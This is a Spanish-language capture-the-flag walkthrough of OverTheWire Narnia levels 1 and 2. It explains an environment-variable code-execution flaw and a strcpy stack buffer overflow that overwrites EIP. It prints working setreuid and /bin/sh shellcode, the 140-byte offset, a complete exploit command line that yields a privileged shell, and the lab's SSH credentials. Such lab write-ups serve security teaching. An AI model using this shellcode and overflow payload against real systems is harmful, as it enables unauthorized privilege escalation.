Smashing Rabbit – Explotacion variable entorno, buffer oveflow sobreescribiendo EIP (VII)

Narnia1

Buenos días!! En esta entrada veremos como explotar una variable de entorno llamada EGG. A grandes rasgos el binario busca una variable de entorno especificada  e intentara ejecutar sin ningún tipo de filtro o seguridad lo contenido en la variable, «Muy seguro»!!

La página que usaremos sera Overthewire Nos conectamos vía ssh:

ssh narnia1@narnia.labs.overthewire.org -p 2226

User:narnia1

Pass:efeidiedae

Cuando examinamos el desensamblado podemos ver que lo primero que ocurre es que se crea una variable. A continuación, hay dos funciones que obtienen una variable de entorno en la dirección de memoria 0x8048550 cuyo contenido tiene 0x474745 o en ASCII denominada «EGG», y si salta en la estructura de control JNE, existe la variable de entorno y recupera el puntero a esa variable y la almacena en ret (local_1ch). 

Por último, ejecutará lo que sea que «EGG» señale como una llamada de función «call eax». En resumidas cuentas, intentará ejecutar cualquier cosa que se escriba en «EGG».

Necesitaremos una shellcode y almacenar su contenido como valor de la variable de entorno. Por ello, tomamos todos los bytes y los pasamos con el comando «export» ejecutando lo que nosotros pongamos en la shellcode.

La tenemos a disposición aquí: http://shell-storm.org/shellcode/files/shellcode-399.php

Para poder escalar privilegios no solo necesitamos ejecutar system(«/bin/sh») sino también: setreuid(geteuid(),geteuid()); como vimos en el reto anterior.

shellcode = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

 


Excelente! Ya hemos escalado privilegios gracias a la ejecución de código vulnerable, al user narnia2.

Por último si queremos analizar una shellcode podemos usar Radare2 y ver el código ensamblado, si lo comparais con el de la web es el mismo:

Narnia2

ssh narnia2@narnia.labs.overthewire.org -p 2226

User:narnia2

Pass:nairiepecu

En este binario nos piden un argumento, así que para poder pasarle por stdin el argumento y poder debuggearlo podemos hacerlo de esta forma con Radare2 y GDB:

  • r2 -d narnia2 $(python -c’print «\x41″*200 + «\x42″*10′)
  • (gdb) r $(python -c’print «\x41″*200 + «\x42″*10′)

Análisis estático

Si observamos detenidamente la función Main del binario primero chequea en la estructura de control JNE si hemos introducido o no un argumento.

En el caso de que hemos introducido argumento salta a la dirección de memoria 0x08048480.

La función strcpy() copia el contenido de un buffer a otro usando en este caso dos variables locales para ello, una para copiar el contenido del argumento que nosotros introducimos (source) y la otra para copiar ese contenido (destino). Por tanto la función recibe dos argumentos una el source (dirección de memoria de local_4h) y la otra el destino (dirección de memoria de local_10h).

Según la información que nos da el comando man strcpy de esta función, es que es vulnerable a overflow y se desaconseja su uso. Esto quiere decir que si tenemos un buffer de 128 bytes y queremos copiar 512 bytes no pasará absolutamente nada porque la función lo hará y no lo chequeara.

Debugging

Sabiendo que es vulnerable tenemos que ver la forma de producir el desbordamiento de buffer. Después de varias pruebas  vemos que si enviamos 140Bytes los siguientes Bytes producen sobreescritura «smashing» del EIP en el stack con esos bytes, lo cual significa que podemos escribir y quizás sea interesante escribir una dirección de memoria que nosotros controlemos, ¿verdad?.

Ejecutamos de nuevo Radare2 y os muestro lo anterior.

r2 -d narnia2 $(python -c’print «\x41″*140 + «\x42» + «\x43» + «\x44» + «\x45″‘)

Justo cuando EIP apunta a la dirección 0x08048488 el valor del registro EAX son nuestros caracteres que pasamos por argumento y será el contenido del buffer en este caso nos pasamos de los bytes de la variable jeje (128).

Si continuamos el proceso de debugging vemos que cuando EIP apunta a la instrucción RET, el valor de ESP coincide con los 4 bytes siguientes a los 140 que enviamos, es decir, «BCDE».  Cuando realiza la llamada call main la dirección de retorno donde tiene que volver una vez finalice la función debe ser guardada en el stack la «return address» o RET que corresponde con la siguiente dirección de memoria después de la llamada, y así usarse para devolver el EIP a la siguiente instrucción.

Si le damos a continuar sucerá lo que comentamos anteriormente esos 4 bytes sobreescribirá la dirección de EIP por tanto tenemos capacidad de escritura.

Bien ahora con este paso claro ya sabemos que podemos escribir si enviamos 140 Bytes de cualquier carácter más esos 4 bytes y si bien sabemos esos últimos podemos usarlo para escribir una dirección de memoria del stack que nos sirva para obtener una shell.

¿Y que necesitamos para obtener una shell? Necesitaremos una shellcode como en el reto anterior que nos permita ejecutar /bin/sh ademas de la correspondiente escalada de privilegios con setreuid(geteuid(),geteuid()); 

Entonces a modo de resumen debemos tener:

  • Escritura en el «return address» del EIP con una dirección de memoria que nosotros queramos.
  • Shellcode para poder ejecutar nuestra shell.
  • Buscar un espacio en el buffer donde almacenar la shellcode y la dirección de memoria.
  • Por último, escribir nuestro exploit.

Usaremos ahora GDB para valorar donde esta almacenado en el stack nuestro input por argumento

Nuestra Shellcode ocupa 34 Bytes por tanto 140-34=106 bytes que usaremos de «junk bytes», entonces tenemos 106 Bytes+ 34 Bytes (Shellcode) + 4 Bytes (Memory Address):

Exploitation

./narnia2 $(python -c’print «\x41″*106 + «\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80» + «\xc0\xd7\xff\xff»‘) 

Escalada de privilegios al user narnia3 realizada con éxito y nuestra correspondiente shell!!

PoC

Hasta la próxima entrada, un saludo!